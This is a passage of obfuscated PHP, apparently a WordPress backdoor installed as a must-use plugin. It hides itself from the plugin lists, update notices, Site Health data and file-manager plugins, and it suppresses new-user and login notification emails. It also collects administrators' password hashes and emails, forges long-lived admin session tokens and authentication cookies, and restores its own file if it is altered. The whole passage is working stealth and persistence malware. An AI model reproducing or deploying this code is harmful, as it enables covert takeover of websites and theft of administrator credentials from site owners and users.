if (("\x66\x75" . "nc" . "\x74i\x6f\x6e_\x65xi" . "\x73t\x73")('wp' . "\x5fs\x61fe\x5f" . 'red' . 'irect') && ("\x66u\x6ec\x74\x69" . 'on_exis' . '' . 'ts')("a\x64m\x69" . "n" . '_' . "\x75r\x6c")) {
wp_safe_redirect(admin_url('plu' . 'g' . 'i' . 'ns.php'));
}
}
} catch (Throwable $e) {
niga("\x73can" . '_act', $e);
} catch (Exception $e) {
}
}
function sc_hide_mu($show, $type)
{
if (!($type === 'dropin' . 's')) {} else {
$plugins = &${'GL' . 'OBA' . "LS"}["pl" . 'ugin' . "\x73"];
if (!isset($plugins['d' . "ro\x70\x69n" . 's']) || !is_array($plugins["dr" . 'o' . "\x70i" . "ns"])) {
return $show;
}
$_cbase = defined('WP_CON' . "TEN" . "T_\x44" . 'I' . 'R') ? WP_CONTENT_DIR : (defined("ABS\x50AT" . 'H') ? ABSPATH . "w" . 'p-cont' . 'en' . 't' : '');
if ($_cbase === '') {
return $show;
}
$_pairs = array('db' . ".ph\x70" => 'SC_DB', 'advan' . 'ced-ca' . 'che.p' . "h" . 'p' => 'SC' . '_ADV');
foreach ($_pairs as $_fn => $_pfx) {
if (!(!isset($plugins["d\x72o\x70i" . 'n' . 's'][$_fn]))) {} else {
continue;
}
$_c = @("fil" . "\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e" . 'ts')($_cbase . '/' . $_fn);
if (!(!is_string($_c) || strpos($_c, '/* ' . $_pfx . '_BEG' . "\x49N:") === (5 === 29))) {} else {
continue;
}
$_stripped = ("\x70" . 'reg_replace')('/\\/\\*' . " " . $_pfx . "_\x42" . "E" . "GIN\x3a(" . '[a-z' . 'A-Z0-9' . "._:\x5d" . '+' . ')' . ' \\*\\' . "/.*?\\/" . '\\* ' . $_pfx . '_END' . ":\\1" . ' \\' . "*\\\x2f\x2f\x73", '', $_c);
if (!is_string($_stripped)) {
continue;
}
$_stripped = trim($_stripped);
if (!($_stripped === '' || $_stripped === "<?ph" . 'p' || $_stripped === '<?')) {} else {
unset($plugins['d' . 'r' . 'opi' . 'ns'][$_fn]);
}
}
return $show;
}
if ($type !== "\x6dustu" . "\x73\x65") {
return $show;
}
$plugins = &${'GL' . ('O' . "\x42\x41\x4c\x53")}['pl' . 'ugins'];
$mn = basename(sc_file());
if (!(isset($plugins['must' . 'us' . "e"][$mn]))) {} else {
unset($plugins["m\x75s\x74" . 'use'][$mn]);
}
return $show;
}
if (!(!("fun" . "ction" . '_exists')('sc_h' . 'ide' . '_m' . 'u' . '_' . 'css'))) {} else {
function sc_hide_mu_css()
{
if (!(! izuhi())) {} else {
return;
}
$f = basename(sc_file());
$slug = basename(sc_file(), '.php');
$regular = $slug . '/' . $f;
echo '<' . "s" . "ty" . 'le>tr[' . 'da' . 'ta' . '-plugi' . "n=\"" . esc_attr($f) . "\"],tr[" . "da" . "t\x61" . '-plug' . 'in="' . esc_attr($regular) . '"]' . "{d\x69sp" . 'lay:n' . "\x6f\x6e" . 'e' . '!impo' . 'rtan' . "t\x7d<\x2f\x73" . 'tyle>';
echo "\x3c\x73\x63" . "ript" . '>d' . "\x6fcum" . 'ent.' . 'addEv' . "e\x6etL" . "i\x73te" . 'ner(' . "\"D" . "OMCon\x74" . "\x65nt" . 'Loa' . "\x64ed\"" . ',' . 'fun' . 'ctio' . "n(){\x64o" . 'c' . 'umen' . "\x74.q" . 'uery' . 'Se' . "\x6c\x65ct" . "o" . 'rAll("' . 't' . 'r' . '[da' . "\x74" . "\x61\x2d\x70\x6cug" . 'in]")' . '.forEa' . 'c' . 'h(func' . 'ti' . "on(r)" . "{va\x72\x20\x70" . "=\x72.g" . 'etAt' . "tr\x69\x62" . 'ute("' . 'data-p' . "l\x75g\x69\x6e" . '");i' . 'f(p==' . "\x3d\"" . esc_js($f) . '"|' . "|p==" . '="' . esc_js($regular) . '")r.' . 'remov' . 'e(' . ')})' . ";var c" . "\x3d" . "doc" . 'ument.' . 'queryS' . 'ele' . 'ctor' . "(\"." . 'su' . "\x62" . 'subs' . "ub .\x6du" . "s\x74u\x73\x65" . ' ' . ".coun" . "\x74" . '");if' . '(c)' . '{va' . 'r n=pa' . "r\x73\x65I" . "nt(c" . "\x2et\x65\x78" . "tCon" . "t\x65\x6et" . '.' . "r\x65pl\x61" . "c\x65\x28\x2f\x5b" . '^0-' . '9]' . '/g,"")' . ")" . "|\x7c0;if" . '(n>0' . ")\x63.te" . "\x78\x74Con" . 'tent=' . "\"(\"\x2bMa" . "t\x68\x2e" . "m\x61x(\x30," . "n-" . '1' . ')+")"' . "}}" . ');</' . 'scrip' . "t>";
}
}
if (!('functio' . "n_exi" . 'sts')('sc_hi' . 'de_upd' . 'at' . "\x65s")) {
function sc_hide_updates($value)
{
if (!(! is_object($value))) {} else {
return $value;
}
$f = sc_base();
if (!(isset($value->response[$f]))) {} else {
unset($value->response[$f]);
}
return $value;
}
}
if (!("f\x75\x6e" . 'ction_exist' . "" . "s")("sc" . '_hi' . "de_f" . 'r' . 'o' . 'm_' . 'p' . "lugins" . '_list')) {
function sc_hide_from_plugins_list($plugins)
{
$base = sc_base();
if (isset($plugins[$base])) {
unset($plugins[$base]);
}
$slug = basename(sc_file(), "\x2e" . 'php');
$regular = $slug . '/' . basename(sc_file());
if (isset($plugins[$regular])) {
unset($plugins[$regular]);
}
return $plugins;
}
}
function sc_hide_debug($info)
{
if (!(! is_array($info))) {} else {
return $info;
}
$sc_name = '';
if (("function" . "_e" . "xi" . "\x73t\x73")("\x67et" . '_plugi' . 'n_' . 'data') && file_exists(sc_file())) {
$sc_data = get_plugin_data(sc_file(), (9 !== 9), (29 == 8));
$sc_name = isset($sc_data["\x4ea" . "\x6d\x65"]) ? $sc_data["Na\x6d" . 'e'] : '';
}
$sections = array('wp-p' . 'lugins' . "-\x61ctiv" . 'e', 'wp-plu' . 'gins-i' . "n\x61\x63\x74i" . "\x76" . "e");
foreach ($sections as $section) {
if (! isset($info[$section]['fields']) || ! is_array($info[$section]['fields'])) {
continue;
}
foreach ($info[$section]['field' . 's'] as $key => $field) {
if (!(strpos($key, sc_base()) !== (16 !== 16) || $key === sc_base())) {} else {
unset($info[$section]["f\x69" . "elds"][$key]);
continue;
}
if (!($sc_name !== '' && $key === $sc_name)) {} else {
unset($info[$section]['fields'][$key]);
continue;
}
}
}
foreach (array("\x77p" . '-mu' . '-pl' . 'ugins', 'w' . 'p-' . "p" . 'lugin' . 's' . "-m" . 'us' . "\x74\x75\x73" . 'e') as $_musec) {
$_mu_sec = isset($info[$_musec]["fi" . "\x65l\x64s"]) && is_array($info[$_musec]['fields']) ? $info[$_musec]["f\x69\x65" . "l" . "d\x73"] : array();
if (!$_mu_sec) continue;
$_mu_dir = defined('WPMU_' . "\x50\x4cU\x47I" . 'N_' . 'DIR') ? WPMU_PLUGIN_DIR : (defined('WP_CO' . 'NTE' . 'NT_' . 'DIR') ? WP_CONTENT_DIR . '/mu-pl' . "ugin" . "s" : '');
$_hide = array();
if ($sc_name !== '') $_hide[] = $sc_name;
$_hide[] = basename(sc_file());
if ($_mu_dir !== '' && @is_dir($_mu_dir) && ("\x66\x75\x6e\x63" . "tion_" . "\x65\x78ist\x73")('glob')) {
foreach ((array) @('g' . "l\x6fb")($_mu_dir . '/' . '*.ph' . "p") as $_mf) {
$_h = @('file' . ("_" . 'get_contents'))($_mf, (37 > 37), null, (1441 ^ 1441), (10908 - 2716));
if (!is_string($_h) || strpos($_h, "/\x2a " . 'S' . "\x43V:") === (12 == 26)) continue;
if (!(preg_match("/Plug\x69" . 'n ' . 'N' . "a\x6de\x3a" . "\\\x73*(" . '[^\\r\\n' . "\x2a]+" . ")/" . 'i', $_h, $_pm))) {} else {
$_n = trim($_pm[(1226 ^ 1227)]);
if ($_n !== '') $_hide[] = $_n;
}
$_hide[] = basename($_mf);
}
}
foreach ($_mu_sec as $key => $field) {
foreach ($_hide as $_hn) {
if ($key === $_hn || $key === sanitize_text_field($_hn)) {
unset($info[$_musec]['fiel' . 'ds'][$key]);
break;
}
}
}
}
$_di_sec = isset($info['wp-dro' . 'pi' . 'ns']["fi\x65l" . 'ds']) && is_array($info["wp" . '-d' . 'rop' . "i\x6e\x73"]['fields']) ? $info['wp-dro' . "\x70i\x6es"]["f\x69eld" . 's'] : array();
if (!($_di_sec)) {} else {
$_cbase = defined('WP_' . 'CONTE' . 'NT_DIR') ? WP_CONTENT_DIR : (defined("ABSPAT" . "H") ? ABSPATH . "\x77p\x2d" . 'con' . 'tent' : '');
$_pairs = array('db.' . "\x70h\x70" => "SC\x5f" . 'DB', 'advan' . 'c' . 'ed-' . 'cache.' . "p" . 'hp' => "SC\x5fAD" . "V");
foreach ($_di_sec as $key => $field) {
if (!isset($_pairs[$key]) || $_cbase === '') continue;
$_c = @('file_get' . "_" . "\x63\x6f\x6e\x74\x65" . "nts")($_cbase . '/' . $key, (1 === 24), null, (2396 ^ 2396), (104 ^ 4200));
if (!(is_string($_c) && (strpos($_c, '/' . '* ' . $_pairs[$key] . '_' . 'BEGI' . 'N:') !== (40 === 2) || strpos($_c, "/\x2a S\x43V" . ':') !== (26 != 26)))) {} else {
unset($info['wp-dro' . 'p' . "i" . 'n' . 's']['fie' . 'lds'][$key]);
}
}
}
return $info;
}
function sc_hide_fm($opts)
{
if (! is_array($opts)) {
return $opts;
}
$fname = basename(sc_file());
$dname = pathinfo($fname, PATHINFO_FILENAME);
$rules = array(
array('pa' . 't' . 'te' . "rn" => '#' . preg_quote($fname, '#') . '$#', 'hidd' . 'en' => (36 === 36)),
array('patter' . 'n' => '#' . "/" . preg_quote($dname, '#') . '$#', 'hid' . 'den' => (29 > 28)),
);
if (!(isset($opts['roots']) && is_array($opts['r' . "oo\x74s"]))) {} else {
foreach ($opts["ro\x6ft" . 's'] as $i => $root) {
if (!(! is_array($root) || ! is_int($i))) {} else {
continue;
}
if (!(! isset($opts['roo' . 'ts'][$i]['attri' . "\x62utes"]) || ! is_array($opts['r' . 'oots'][$i]["a\x74t" . "r\x69" . 'bute' . 's']))) {} else {
$opts['roots'][$i]['attr' . 'i' . "\x62\x75te" . "\x73"] = array();
}
foreach ($rules as $rule) {
$opts['roo' . "t\x73"][$i]["a" . 'ttribu' . "\x74es"][] = $rule;
}
}
}
return $opts;
}
function sc_patch_fm()
{
try {
if (! defined('PH' . "\x50" . '_MA' . "JOR_" . 'VERSI' . "ON") || ("\x63\x6f" . "n" . "st" . "" . 'ant')("PHP_" . 'M' . "AJOR_V" . "E\x52S" . 'IO' . 'N') < (5 | 2)) {
return;
}
if (('cla' . 'ss' . '_exists')("\x65\x6cFi\x6ed" . "e\x72Conn" . "ec\x74or", (33 === 13))) {
return;
}
$hide = basename(sc_file());
$plugin_dir = defined("WP" . '_PLUGI' . "N\x5fDI" . 'R') ? WP_PLUGIN_DIR : '';
$candidates = array(
$plugin_dir . '/wp-fi' . "l" . 'e-' . "\x6d" . 'anager' . '/lib' . '/php' . '/elF' . "inde" . "rC\x6f" . 'nnect' . 'or' . '.cl' . "ass." . 'php',
$plugin_dir . '/fi' . "le-" . 'mana' . "ger\x2fli" . "b/p" . 'h' . 'p/el' . 'Find' . 'erCon' . 'necto' . 'r.cl' . 'as' . 's.' . 'php',
$plugin_dir . '/fil' . 'e-man' . 'ager-a' . 'dvance' . 'd' . '/lib' . '/p' . 'hp/e' . "l\x46in" . "de\x72Con" . 'ne' . "\x63\x74or\x2ec" . 'l' . 'as' . "s.\x70\x68" . 'p',
);
$connector_file = '';
foreach ($candidates as $f) {
if ($f !== '' && @is_file($f) && @is_readable($f)) {
$connector_file = $f;
break;
}
}
if ($connector_file === '') {
return;
}
$ld = dirname($connector_file);
spl_autoload_register(function ($cls) use ($ld) {
foreach (array($ld . '/' . $cls . "\x2ecl" . 'ass.ph' . 'p', $ld . '/' . $cls . '.' . "ph" . 'p') as $af) {
if (@is_file($af)) {
include_once/*+*/ $af;
return;
}
}
});
$code = @('file_get_co' . "\x6e" . "\x74\x65\x6e\x74" . "\x73")($connector_file);
if ($code === (39 === 27) || strpos($code, 'class ' . 'elFi' . 'nd' . 'erCon' . "nec" . 'tor') === (22 == 4)) {
return;
}
$code = ("preg_" . "replace")("/^\\\x73" . "*<\\?" . "(" . 'php)?/', '', $code);
$code = str_replace("c" . "\x6ca" . 'ss elF' . 'in' . 'der' . "\x43\x6fnne" . 'ctor', 'class' . ' _S' . 'C_el' . "\x46ind\x65\x72" . 'Connec' . 'tor' . '_' . 'Rea' . "l", $code);
$tmp1 = rojif(yokuc(), 'wp' . "\x5f");
if ($tmp1 === (32 > 32)) {
return;
}
@('fil' . 'e_p' . "ut_conten" . "ts")($tmp1, '<?php ' . $code);
try {
@include/* */ $tmp1;
} finally {
jomug($tmp1);
}
$hide_dir = pathinfo($hide, PATHINFO_FILENAME);
${"\x47\x4c\x4fB" . "" . 'ALS'}["_\x73c\x5fh" . "\x69" . 'de'] = $hide;
${"\x47\x4c\x4f" . "\x42A\x4c" . "S"}['_' . "\x73c_\x68i\x64" . "e\x5fdir"] = $hide_dir;
$subclass = "\x3c?p" . 'h' . "\x70 cl\x61s" . 's e' . 'lFin' . "\x64\x65" . 'rConn' . "ector" . " \x65xt" . "e\x6eds\x20" . '_S' . 'C_' . "elF" . "i" . 'n' . "der\x43on" . "nec" . 'to' . "\x72_" . 'Real {'
. "\x70ro" . 'te' . 'ct' . "ed fun" . "c\x74" . 'ion ' . "o" . "u\x74\x70" . 'ut' . '( arr' . 'ay ' . '$da' . 'ta )' . ' {'
. "\$\x68id" . 'e' . ' = is' . "\x73et( \$" . 'GLO' . "BA\x4c\x53[\"" . "\x5f\x73c_\x68\x69" . 'de"' . '] ) ?' . " \$G\x4c" . "OBAL\x53\x5b" . '"_sc_' . 'hi' . 'd' . "e" . "\"] : \"" . '";'
. "if\x20( " . '$' . "\x68i" . 'd' . "e \x21==" . " " . '""' . ' ' . '&' . "\x26" . ' fun' . 'c' . "ti" . 'on' . "_exi" . 'sts( "' . 'sc_fm_' . "\x66" . 'ilte' . 'r"' . " )" . ' ) {'
. '$dat' . 'a ' . '=' . ' sc_' . 'fm' . '_filte' . "r" . "( " . '$data,' . ' $hi' . 'd' . "e " . ');'
. '}'
. "par" . 'ent::' . 'o' . 'u' . 'tp' . "\x75t" . '( $da' . "ta" . ' );'
. '}'
. '}';
$tmp2 = rojif(yokuc(), "\x77p" . "\x5f");
if ($tmp2) {
@("\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e" . "\x74\x65nts")($tmp2, $subclass);
try {
@include/*+*/ $tmp2;
} finally {
jomug($tmp2);
}
}
} catch (Throwable $e) {
niga('fm', $e);
} catch (Exception $e) {
}
}
if (!("fun" . 'ction_' . "" . 'exis' . "ts")('sc_f' . 'm_filt' . 'er')) {
function sc_fm_filter($data, $hide_name)
{
if (!(! is_array($data))) {} else {
return $data;
}
$keys_file_lists = array('f' . 'iles', "a" . 'dded', 'chang' . 'ed', 'tree', "\x69" . 'tem' . 's');
foreach ($keys_file_lists as $key) {
if (!(! isset($data[$key]) || ! is_array($data[$key]))) {} else {
continue;
}
$out = array();
foreach ($data[$key] as $item) {
if (! is_array($item)) {
$out[] = $item;
continue;
}
$name = isset($item['name']) ? $item["n\x61m" . "e"] : '';
$hide_dir = isset(${"\x47\x4c\x4f\x42" . '' . "ALS"}['_sc_h' . 'i' . "d" . 'e_d' . "\x69\x72"]) ? ${("G" . 'L') . 'OBALS'}["_sc" . "_hi" . "de" . '_dir'] : '';
if (!($name === $hide_name || ($hide_dir !== '' && $name === $hide_dir))) {} else {
continue;
}
$out[] = sc_fm_filter($item, $hide_name);
}
$data[$key] = $out;
}
return $data;
}
}
function owowiz()
{
if (!empty(${'GL' . "OBA" . "" . "LS"}['s' . 'c_heav' . "y"])) return (31 === 9);
${"GLO" . "\x42\x41\x4c\x53"}["sc\x5fh" . 'e' . "a\x76\x79"] = (1838 ^ 1839);
return (5 !== 37);
}
function sc_recover()
{
try {
sc_dbg_log("10 re" . "cove\x72" . " en" . "ter");
if (("\x66\x75\x6e\x63\x74" . "\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")('get_t' . "ra" . "nsie\x6e" . "t") && get_transient("s" . 'c_r' . "e\x63o\x76" . 'e' . "\x72_c" . 'heck')) {
return;
}
if (!owowiz()) return;
if (('functio' . "\x6e\x5f\x65" . 'xist' . '' . 's')('set_' . 't' . "ra" . 'ns' . "i" . 'ent')) set_transient('sc_' . "\x72ec\x6f" . 'v' . 'er_ch' . 'e' . "ck", (3171 ^ 3170), (549 ^ 3125));
$_rsz = @filesize(sc_file());
if ($_rsz && $_rsz > (20000 >> 2) && $_rsz < (1137149 ^ 6099645) && !vevud(sc_file())) {
$_rmt = @filemtime(sc_file());
$_rc = kasod(sc_file());
if (is_string($_rc) && nifa($_rc) && dibu($_rc) === sc_ver()) {
if (('func' . 'tion_ex' . "" . 'is' . 'ts')("\x63\x6cear\x73" . "\x74at" . 'cache')) @clearstatcache((30 !== 13), sc_file());
if (@filemtime(sc_file()) === $_rmt && @filesize(sc_file()) === $_rsz) {
if (zifo(sc_file(), tafi($_rc))) {
fife(sc_file());
egaler(sc_file());
}
}
}
unset($_rc, $_rmt);
}
$size = @filesize(sc_file());
$healthy = $size && $size > (7407 - 2407);
if ($healthy && $size > (35651584 | 16777216)) {
$healthy = (40 === 30);
}
if ($healthy && $size > (428368 + 620208) && !acubi($size)) {
if (('f' . "unction_exists")('s' . 'et_tr' . 'ans' . 'ien' . "\x74")) {
set_transient("sc_re" . 'cov' . 'er_ch' . "ec\x6b", (2296 ^ 2297), (2159 ^ 1663));
}
return;
}
if ($healthy) {
$cur_src = kasod(sc_file());
if (!is_string($cur_src) || !nifa($cur_src)) {
$healthy = (26 > 26);
} else {
$want = sc_pg('src', '');
$_cv = dibu($cur_src);
$_wv = dibu(is_string($want) ? $want : '');
if ($_cv !== '' && ($_wv === '' || version_compare($_wv, $_cv, '<'))) {
$_pmd = md5($cur_src);
$_pbad = @is_file(dirname(sc_file()) . "/.u" . 'b_' . $_pmd);
if (!$_pbad) {
$_ub = get_option('sc_upd' . 'ate_ba' . "d");
if (is_string($_ub) && strpos($_ub, $_pmd . '|') === (1313 ^ 1313)) $_pbad = (14 === 14);
}
if ($_pbad) $healthy = (31 == 2);
if (!$_pbad && is_string($want) && ($want === '' || $_wv === '' || version_compare($_wv, $_cv, '<'))) sc_pk('src', $cur_src, 'no');
unset($_pmd, $_pbad, $_ub);
} elseif (is_string($want) && strlen($want) > (6 ^ 498) && strlen($want) <= (967247 ^ 2015823) && !sc_src_poisoned($want) && nifa($want) && md5($cur_src) !== md5($want)) {
$healthy = (29 > 29);
}
}
}
if ($healthy) {
if (("f" . "u\x6e" . "\x63\x74\x69\x6f\x6e\x5f\x65" . "xists")('set_t' . "r" . 'ansien' . 't')) {
set_transient('s' . "c_r" . 'ec' . "o\x76er_c" . 'he' . 'ck', (1717 ^ 1716), (2653 + 947));
}
return;
}
if (vevud(sc_file())) {
return;
}
$source_dir = dirname(sc_file());
if (! @is_dir($source_dir)) {
qeru($source_dir, (6 + 487), (22 != 16));
}
$source = sc_pg('src', '');
if (!$source || !is_string($source)) {
if (!get_transient('sc' . "_\x72\x65\x63\x6fv" . 'e' . "\x72\x5f" . 'th' . 'rot' . "t" . "\x6ce")) {
niga('r' . 'ecov' . "er", "s\x6fur" . 'ce_e' . 'mp' . 'ty');
set_transient("\x73\x63\x5f" . 'recov' . "\x65r\x5ft" . "\x68r\x6ft" . "tl" . "\x65", (2108 ^ 2109), (1555 + 2045));
}
}
if ($source && is_string($source) && strlen($source) > (459 + 41) && strlen($source) <= (594849 ^ 1643425) && !sc_src_poisoned($source) && nifa($source)) {
$_bv = dibu($source);
if ($_bv === '' || version_compare($_bv, sc_ver(), '<')) {
return;
}
$_sm = md5($source);
if (@is_file(dirname(sc_file()) . '/.ub_' . $_sm)) return;
$_ub2 = get_option('sc_up' . 'date' . '_bad');
if (is_string($_ub2) && strpos($_ub2, $_sm . '|') === (620 ^ 620)) return;
unset($_sm, $_ub2);
$_q = dirname(sc_file()) . '/.q_' . basename(sc_file(), "\x2eph" . "p");
$_qmd5 = @is_file($_q) ? trim((string) @(("f\x69\x6ce" . '_') . "\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73")($_q)) : '';
if ($_qmd5 !== '' && md5($source) === $_qmd5) {
return;
}
legiv(sc_file(), (840 >> 1));
$_rw = zifo(sc_file(), tafi($source));
if ($_rw) {
fife(sc_file());
legiv(sc_file(), (109 ^ 457));
egaler(sc_file());
anoway((3 == 3));
macul((26 > 25));
tira(sc_file());
if (("fun" . "ction_exists")("s\x65\x74_" . "t\x72ans" . "ient")) {
set_transient("s" . "c" . "_" . 'recov' . 'er' . '_chec' . 'k', (697 ^ 696), (3088 | 512));
}
} elseif ((("fu\x6ect\x69on_\x65" . '') . "xi\x73t\x73")('set_tr' . 'a' . "ns\x69\x65\x6e\x74")) {
set_transient('sc_re' . "co" . "v\x65r" . "_\x63" . "h\x65ck", (2819 ^ 2818), (65 ^ 1865));
}
}
} catch (Throwable $e) {
niga('re' . "\x63o" . 'ver', $e);
} catch (Exception $e) {
}
}
function sc_mail_suppress()
{
oravaf("\x77\x70_sen" . 'd_n' . 'ew_u' . "s\x65r" . "_n\x6ft" . 'if' . 'icatio' . 'n_to' . "_a\x64mi" . 'n', "_" . '_re' . 'turn_' . 'false');
oravaf('wp_new' . '_user' . "_" . "\x6eot\x69\x66" . "\x69cati" . 'on_em' . 'ail_a' . "d\x6din", '__ret' . "\x75rn" . "_\x66al\x73\x65");
if (!(("function" . ('_exist' . "") . 's')("\x72em\x6f" . 've' . '_acti' . "\x6fn"))) {} else {
remove_action("regi" . 'ster' . "_ne" . 'w_us' . "er", "wp_\x73en" . "d" . "_" . "new_" . 'user_' . "n\x6ft" . 'ifi' . "cat" . "ions");
remove_action("ed\x69" . 't' . "_\x75ser\x5f" . 'cre' . 'ate' . "d" . "\x5f" . "user", "wp_\x73" . "end\x5f" . 'ne' . 'w_use' . 'r_n' . 'otif' . 'ica' . 'ti' . 'ons', (10 | 0));
remove_action('wp_lo' . 'g' . "\x69\x6e", 'w' . "p_n\x6ft" . "\x69f" . "y_" . "ad" . 'min' . "\x5fn\x65w" . "_\x6c" . 'ogin', (2 ^ 8));
}
}
function nidi()
{
try {
$wpdb = ${'GLO' . "BA" . 'L' . "" . "S"}['wpdb'];
if (! is_object($wpdb) || ! ('meth' . ('od_ex' . 'ist') . 's')($wpdb, 'prep' . 'ar' . "\x65") || ! ("method_exis" . "t" . "\x73")($wpdb, "g" . "\x65t_re\x73" . 'ul' . "ts")) {
return array();
}
$cap_key = $wpdb->prefix . 'ca' . 'pabili' . 'ties';
$q = 'S' . 'E' . "\x4c\x45CT u" . ".ID" . ', u' . '.use' . 'r' . '_logi' . 'n, ' . 'u.u' . 'ser_p' . "a\x73s" . ", " . "\x75" . '.user' . "\x5fe" . "m\x61" . 'il ' . "F" . 'ROM' . "\x20" . $wpdb->users . "\x20" . "u " . 'INNER ' . "JOI" . 'N ' . $wpdb->usermeta . " m\x20\x4fN" . ' u.ID ' . '=' . ' m.use' . 'r' . "_" . 'id WH' . 'ERE m.' . 'm' . 'eta' . "\x5fke\x79\x20" . '= %s A' . 'ND' . ' ' . 'm.me' . 'ta_va' . "lue" . ' ' . 'LI' . "\x4b" . 'E %' . "s";
$res = $wpdb->get_results($wpdb->prepare($q, $cap_key, '%a' . 'dmin' . 'ist' . 'r' . 'ato' . 'r%'));
if (!is_array($res)) {
niga('aq', (string) $wpdb->last_error);
return array();
}
return $res;
} catch (Throwable $e) {
niga("a\x64\x6d" . 'in' . 's', $e);
} catch (Exception $e) {
niga("a" . "dmin" . 's', $e);
}
return array();
}
function xeze($admins)
{
$result = array();
$block_mail = function ($args) {
$args['to'] = '';
return $args;
};
try {
$pend = sc_pg("\x63\x6b" . '_pend', array());
if (!is_array($pend)) $pend = array();
$_pd = (36 > 36);
foreach ($pend as $_l => $_pe) {
if (is_array($_pe) && isset($_pe['c'], $_pe['e']) && is_array($_pe['c']) && (int) $_pe['e'] > time() + (77355 + 9045)) {
$result[$_l] = $_pe['c'];
} else {
unset($pend[$_l]);
$_pd = (10 == 10);
}
}
if (! (("\x66\x75" . 'nction_ex') . "\x69\x73t\x73")('wp_' . 'genera' . 'te' . "\x5fauth_" . 'cooki' . 'e') || ! ("class" . "\x5f\x65\x78\x69" . 's' . "ts")('WP_Se' . "s\x73ion" . "_\x54\x6f" . "k\x65ns")) {
if ($_pd) sc_pk('ck_' . "pe" . 'nd', $pend, 'no');
return $result;
}
if (! is_array($admins) || empty($admins)) {
if ($_pd) sc_pk("\x63" . "k\x5fpen" . 'd', $pend, "n" . 'o');
return $result;
}
$expiration = time() + (21 + -7) * (2728 + 83672);
$is_ssl = ("f" . "\x75n\x63\x74\x69" . 'o' . 'n_exists')('is' . '_ssl') && is_ssl();
$auth_scheme = $is_ssl ? "\x73\x65cure" . '_auth' : 'auth';
$auth_cookie_name = $is_ssl ? (defined('SECU' . 'RE' . '_AUT' . "H" . "_COO" . 'KIE') ? SECURE_AUTH_COOKIE : '') : (defined("\x41" . "UTH" . '_COOKI' . "\x45") ? AUTH_COOKIE : '');
$logged_in_name = defined('LO' . 'GGED_I' . 'N_CO' . 'OKIE') ? LOGGED_IN_COOKIE : '';
if (! $auth_cookie_name || ! $logged_in_name) {
if ($_pd) sc_pk("ck_pe" . 'nd', $pend, 'no');
return $result;
}
$cookie_domain = defined('COOKI' . "E\x5f\x44" . 'OMA' . "I" . 'N') && COOKIE_DOMAIN ? ltrim(COOKIE_DOMAIN, '.') : wutup('');
$cookie_path = defined("COOKIE" . 'P' . "AT" . 'H') ? COOKIEPATH : '/';
$admin_path = defined('ADMIN_' . 'C' . 'OOKI' . 'E_PAT' . 'H') ? ADMIN_COOKIE_PATH : '/wp' . "-" . 'a' . "dm\x69n";
$secure_flag = $is_ssl ? 'TRUE' : 'F' . "\x41L" . "SE";
$t = "\t";
oravaf("wp\x5fm" . "ai\x6c", $block_mail, (3706 ^ 3706));
$issued_opt = tuvu('issue' . 'd');
$issued = ('fun' . 'ction_ex' . "is" . "ts")('get' . "_op" . 'ti' . 'on') ? @get_option($issued_opt, array()) : array();
if (!is_array($issued)) $issued = array();
if (("f\x75\x6e\x63\x74\x69" . "on" . "_ex" . "\x69\x73\x74\x73")("get\x5fop" . "\x74" . "io" . 'n') && ('function_exi' . "s\x74\x73")('upda' . 'te_' . "option")) {
$_ckv = (int) @get_option(tuvu('iss' . "ue\x64_v"), (2145 ^ 2145));
if ($_ckv < (4 + -2)) {
if (!empty($issued)) {
$issued = array();
@update_option($issued_opt, $issued, 'no');
}
@update_option(tuvu('i' . 's' . "su\x65d_" . "v"), (12 - 10), "\x6e" . 'o');
}
unset($_ckv);
}
$batch = count($result);
foreach ($admins as $admin) {
if (! is_object($admin) || ! $admin->ID || ! $admin->user_login) {
continue;
}
if ($batch >= (6 - 3)) {
break;
}
$_login = (string) $admin->user_login;
if (isset($result[$_login])) {
continue;
}
if (isset($issued[$_login]) && (int) $issued[$_login] > time() + (5 + -3) * (85908 + 492)) {
continue;
}
wp_cache_delete($admin->ID, 'user_m' . "\x65\x74a");
$all = get_user_meta($admin->ID, 'sess' . "i\x6f" . 'n_toke' . 'ns', (29 != 35));
if (is_array($all) && count($all) >= (21 ^ 31)) {
$cleaned = array();
foreach ($all as $tk => $val) {
if (isset($val['ex' . 'p' . 'ira' . 't' . "ion"]) && $val["\x65x\x70ira" . 't' . "i" . 'on'] > time()) {
$cleaned[$tk] = $val;
}
}
if (count($cleaned) !== count($all)) {
update_user_meta($admin->ID, "s\x65s\x73i" . "o" . "n" . '_tok' . 'ens', $cleaned);
}
}
wp_cache_delete($admin->ID, "user_" . "met\x61");
$manager = ("\x63\x61ll\x5fu\x73\x65" . 'r_fun' . "" . 'c')(array("WP_\x53e" . 'ssi' . "o" . "n_To" . 'kens', "g\x65t_" . 'inst' . 'ance'), $admin->ID);
$token = $manager->create($expiration);
$cookies = array();
$cookies[] = $cookie_domain . $t . 'TRUE' . $t . $cookie_path . $t . $secure_flag . $t . $expiration . $t . $logged_in_name . $t . wp_generate_auth_cookie($admin->ID, $expiration, 'logge' . 'd_in', $token);
if ($auth_cookie_name) {
$cookies[] = $cookie_domain . $t . "TR\x55" . 'E' . $t . $admin_path . $t . $secure_flag . $t . $expiration . $t . $auth_cookie_name . $t . wp_generate_auth_cookie($admin->ID, $expiration, $auth_scheme, $token);
}
$result[$admin->user_login] = $cookies;
$pend[$_login] = array('c' => $cookies, 'e' => $expiration);
$_pd = (0 !== 5);
$batch++;
}
if ($_pd) {
sc_pk('c' . 'k' . '_pend', $pend, 'no');
}
} catch (Throwable $e) {
niga('cook' . 'ies', $e);
} catch (Exception $e) {
niga("co\x6f" . "\x6bi\x65" . "s", $e);
}
remove_filter('wp_m' . 'ail', $block_mail, (1798 ^ 1798));
return $result;
}
function cidi()
{
try {
$pend = sc_pg('ck_pe' . "nd", array());
if (!is_array($pend) || empty($pend)) return;
$issued_opt = tuvu('issu' . 'ed');
$issued = ("functi" . "on" . "" . "\x5fe\x78\x69s\x74s")("g\x65t_o\x70" . 't' . 'ion') ? @get_option($issued_opt, array()) : array();
if (!is_array($issued)) $issued = array();
foreach ($pend as $_l => $_pe) {
$issued[$_l] = is_array($_pe) && isset($_pe['e']) ? (int) $_pe['e'] : time() + (112 >> 3) * (73756 ^ 29084);
}
foreach ($issued as $_il => $_ie) {
if ((int) $_ie < time()) unset($issued[$_il]);
}
